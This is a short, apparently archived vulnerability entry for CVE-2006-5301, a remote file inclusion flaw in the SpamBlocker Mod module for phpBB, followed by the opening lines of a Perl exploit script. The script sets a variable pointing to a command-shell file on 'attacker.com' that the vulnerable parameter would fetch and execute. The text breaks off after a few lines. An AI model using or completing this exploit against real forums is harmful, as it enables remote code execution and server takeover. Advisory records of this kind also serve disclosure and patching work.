CVE-2006-5301: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in includes/antispam.php in the SpamBlockerMODv 1.0.2 and earlier module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion

!/usr/bin/perl SpamBlockerMod package for phpBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://leo.vak.ru/devel/spamblocker/spamblockermodv1.0.2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ======...